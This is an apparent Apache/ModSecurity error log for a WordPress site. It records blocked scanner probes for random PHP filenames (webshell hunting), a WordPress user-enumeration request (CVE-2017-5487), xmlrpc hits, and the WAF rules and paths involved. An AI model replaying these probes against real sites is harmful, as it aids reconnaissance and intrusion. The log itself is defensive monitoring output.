[Sun Apr 05 05:33:30.687849 2026] [:error] [pid 30921:tid 30924] [client 4.225.160.61:36040] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/motu.php"] [unique_id "adGDqmFGQVn8Q0ueB25ioAAAAQE"]
[Sun Apr 05 05:33:32.109522 2026] [:error] [pid 45409:tid 45419] [client 4.225.160.61:19676] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/motu.php"] [unique_id "adGDrNHt_Oyw03gjCNi_qQAAAMg"]
[Sun Apr 05 05:33:33.183016 2026] [:error] [pid 45304:tid 45347] [client 4.225.160.61:23130] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gfd.php"] [unique_id "adGDrQ5jnqDKKovdRkkAZAAAAEM"]
[Sun Apr 05 05:33:35.231130 2026] [:error] [pid 30921:tid 30947] [client 4.225.160.61:55021] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gfd.php"] [unique_id "adGDr2FGQVn8Q0ueB25ipAAAARg"]
[Sun Apr 05 05:33:36.701025 2026] [:error] [pid 45305:tid 45385] [client 4.225.160.61:57806] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gfd.php"] [unique_id "adGDsOjDQjr7aWhjflABPQAAAI4"]
[Sun Apr 05 05:33:37.930924 2026] [:error] [pid 45409:tid 45413] [client 4.225.160.61:15617] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gfd.php"] [unique_id "adGDsdHt_Oyw03gjCNi_vAAAAMI"]
[Sun Apr 05 05:33:38.854146 2026] [:error] [pid 45409:tid 45421] [client 4.225.160.61:56720] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx78.php"] [unique_id "adGDstHt_Oyw03gjCNi_vQAAAMo"]
[Sun Apr 05 05:33:40.889303 2026] [:error] [pid 30921:tid 30947] [client 4.225.160.61:57401] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx78.php"] [unique_id "adGDtGFGQVn8Q0ueB25iswAAARg"]
[Sun Apr 05 05:33:43.602049 2026] [:error] [pid 45303:tid 45337] [client 4.225.160.61:59041] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx78.php"] [unique_id "adGDt7boQ9eViZ4hdnl6-gAAABQ"]
[Sun Apr 05 05:33:45.239019 2026] [:error] [pid 30921:tid 30927] [client 4.225.160.61:27745] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx78.php"] [unique_id "adGDuWFGQVn8Q0ueB25ivQAAAQQ"]
[Sun Apr 05 05:33:46.508049 2026] [:error] [pid 45409:tid 45414] [client 4.225.160.61:55026] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "adGDutHt_Oyw03gjCNi_2QAAAMM"]
[Sun Apr 05 05:33:47.624647 2026] [:error] [pid 45409:tid 45434] [client 4.225.160.61:59034] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "adGDu9Ht_Oyw03gjCNi_4QAAANc"]
[Sun Apr 05 05:33:49.516074 2026] [:error] [pid 45304:tid 45356] [client 4.225.160.61:27769] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "adGDvQ5jnqDKKovdRkkAhwAAAEw"]
[Sun Apr 05 05:33:50.670612 2026] [:error] [pid 30921:tid 30931] [client 4.225.160.61:54709] [client 4.225.160.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "adGDvmFGQVn8Q0ueB25iyQAAAQg"]
[Sun Apr 05 07:34:27.482585 2026] [:error] [pid 45305:tid 45395] [client 43.130.31.17:60570] [client 43.130.31.17] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adGgA-jDQjr7aWhjflBoMwAAAJg"]
[Sun Apr 05 09:14:42.511934 2026] [:error] [pid 45305:tid 45376] [client 117.62.235.53:44644] [client 117.62.235.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adG3gujDQjr7aWhjflC0WQAAAIU"]
[Sun Apr 05 12:53:31.793959 2026] [authz_core:error] [pid 45409:tid 45432] [client 106.63.26.15:64151] AH01630: client denied by server configuration: /home/rcacivils/public_html/wp-content/plugins/akismet/readme.txt
[Sun Apr 05 13:44:01.288053 2026] [:error] [pid 30921:tid 30936] [client 43.157.170.13:39102] [client 43.157.170.13] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adH2oWFGQVn8Q0ueB242awAAAQ0"]
[Sun Apr 05 16:20:11.587412 2026] [:error] [pid 45305:tid 45373] [client 49.37.161.4:61726] [client 49.37.161.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.161.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adIbO-jDQjr7aWhjflDg9gAAAII"]
[Sun Apr 05 16:55:25.409824 2026] [:error] [pid 30921:tid 30940] [client 49.37.161.4:61228] [client 49.37.161.4] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "adIjfWFGQVn8Q0ueB26RdAAAARE"]
[Sun Apr 05 16:56:55.138115 2026] [:error] [pid 30921:tid 30924] [client 49.37.161.4:61505] [client 49.37.161.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.161.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adIj12FGQVn8Q0ueB26SYQAAAQE"]
[Sun Apr 05 18:12:16.842601 2026] [:error] [pid 45303:tid 45334] [client 43.135.36.201:54824] [client 43.135.36.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adI1gLboQ9eViZ4hdnnGcQAAABE"]
[Sun Apr 05 19:53:53.772494 2026] [autoindex:error] [pid 45303:tid 45339] [client 178.18.245.70:64842] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Apr 05 21:56:41.153347 2026] [:error] [pid 45303:tid 45340] [client 43.138.68.113:36980] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adJqGbboQ9eViZ4hdnlTjwAAABc"]
[Sun Apr 05 23:23:29.757751 2026] [:error] [pid 45303:tid 45335] [client 68.221.134.12:4345] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adJ-cbboQ9eViZ4hdnmNNgAAABI"]
[Sun Apr 05 23:23:30.402598 2026] [:error] [pid 45304:tid 45363] [client 68.221.134.12:4577] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adJ-cg5jnqDKKovdRklE8AAAAFM"]
[Sun Apr 05 23:23:30.992612 2026] [:error] [pid 45304:tid 45366] [client 68.221.134.12:65038] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adJ-cg5jnqDKKovdRklE9QAAAFY"]
[Sun Apr 05 23:23:31.663993 2026] [:error] [pid 45409:tid 45417] [client 68.221.134.12:65489] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adJ-c9Ht_Oyw03gjCNh0WwAAAMY"]
[Sun Apr 05 23:23:32.424390 2026] [:error] [pid 45304:tid 45360] [client 68.221.134.12:33351] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adJ-dA5jnqDKKovdRklE_AAAAFA"]
[Sun Apr 05 23:23:33.391442 2026] [:error] [pid 45304:tid 45364] [client 68.221.134.12:64967] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adJ-dQ5jnqDKKovdRklFAwAAAFQ"]
[Sun Apr 05 23:23:35.147545 2026] [:error] [pid 30921:tid 30935] [client 68.221.134.12:11819] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adJ-d2FGQVn8Q0ueB25Y5AAAAQw"]
[Sun Apr 05 23:23:37.699588 2026] [:error] [pid 45303:tid 45330] [client 68.221.134.12:64960] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adJ-ebboQ9eViZ4hdnmNSwAAAA0"]
[Sun Apr 05 23:23:40.158990 2026] [:error] [pid 45409:tid 45412] [client 68.221.134.12:65057] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adJ-fNHt_Oyw03gjCNh0jwAAAME"]
[Sun Apr 05 23:23:41.622584 2026] [:error] [pid 45303:tid 45323] [client 68.221.134.12:23816] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adJ-fbboQ9eViZ4hdnmNWQAAAAY"]
[Sun Apr 05 23:23:42.441787 2026] [:error] [pid 45305:tid 45378] [client 68.221.134.12:65505] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adJ-fujDQjr7aWhjflCPiwAAAIc"]
[Sun Apr 05 23:23:43.397663 2026] [:error] [pid 45409:tid 45420] [client 68.221.134.12:65020] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adJ-f9Ht_Oyw03gjCNh0mwAAAMk"]
[Sun Apr 05 23:23:44.199018 2026] [:error] [pid 45303:tid 45317] [client 68.221.134.12:65079] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adJ-gLboQ9eViZ4hdnmNXgAAAAA"]
[Sun Apr 05 23:23:44.886188 2026] [:error] [pid 45304:tid 45356] [client 68.221.134.12:4596] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adJ-gA5jnqDKKovdRklFHgAAAEw"]
[Sun Apr 05 23:23:45.429959 2026] [:error] [pid 45305:tid 45387] [client 68.221.134.12:11811] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adJ-gejDQjr7aWhjflCPkgAAAJA"]
[Sun Apr 05 23:23:45.983740 2026] [:error] [pid 45409:tid 45425] [client 68.221.134.12:4812] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adJ-gdHt_Oyw03gjCNh0rQAAAM4"]
[Sun Apr 05 23:23:46.469551 2026] [:error] [pid 45409:tid 45434] [client 68.221.134.12:44389] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nhj6t74aqmkde3hgpCdefault.php"] [unique_id "adJ-gtHt_Oyw03gjCNh0swAAANc"]
[Sun Apr 05 23:23:46.979912 2026] [:error] [pid 45303:tid 45327] [client 68.221.134.12:20258] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nhj6t74aqmkde3hgpCdefault.php"] [unique_id "adJ-grboQ9eViZ4hdnmNYgAAAAo"]
[Sun Apr 05 23:23:47.486273 2026] [:error] [pid 45303:tid 45319] [client 68.221.134.12:65013] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nhj6t74aqmkde3hgpCdefault.php"] [unique_id "adJ-g7boQ9eViZ4hdnmNZQAAAAI"]
[Sun Apr 05 23:23:48.055952 2026] [:error] [pid 45303:tid 45329] [client 68.221.134.12:32449] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nhj6t74aqmkde3hgpCdefault.php"] [unique_id "adJ-hLboQ9eViZ4hdnmNagAAAAw"]
[Sun Apr 05 23:23:48.591112 2026] [:error] [pid 45303:tid 45318] [client 68.221.134.12:64978] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adJ-hLboQ9eViZ4hdnmNdgAAAAE"]
[Sun Apr 05 23:23:49.412889 2026] [:error] [pid 45305:tid 45375] [client 68.221.134.12:20275] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adJ-hejDQjr7aWhjflCPmwAAAIQ"]
[Sun Apr 05 23:23:49.956336 2026] [:error] [pid 45305:tid 45380] [client 68.221.134.12:4325] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adJ-hejDQjr7aWhjflCPnQAAAIk"]
[Sun Apr 05 23:23:50.527008 2026] [:error] [pid 30921:tid 30932] [client 68.221.134.12:4337] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adJ-hmFGQVn8Q0ueB25Y-AAAAQk"]
[Sun Apr 05 23:23:51.090146 2026] [:error] [pid 45305:tid 45386] [client 68.221.134.12:44388] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adJ-h-jDQjr7aWhjflCPpQAAAI8"]
[Sun Apr 05 23:23:51.576839 2026] [:error] [pid 30921:tid 30943] [client 68.221.134.12:64961] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adJ-h2FGQVn8Q0ueB25ZAQAAARQ"]
[Sun Apr 05 23:23:52.105051 2026] [:error] [pid 45409:tid 45435] [client 68.221.134.12:65045] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adJ-iNHt_Oyw03gjCNh0wwAAANg"]
[Sun Apr 05 23:23:52.617310 2026] [:error] [pid 45409:tid 45430] [client 68.221.134.12:65019] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adJ-iNHt_Oyw03gjCNh0yQAAANM"]
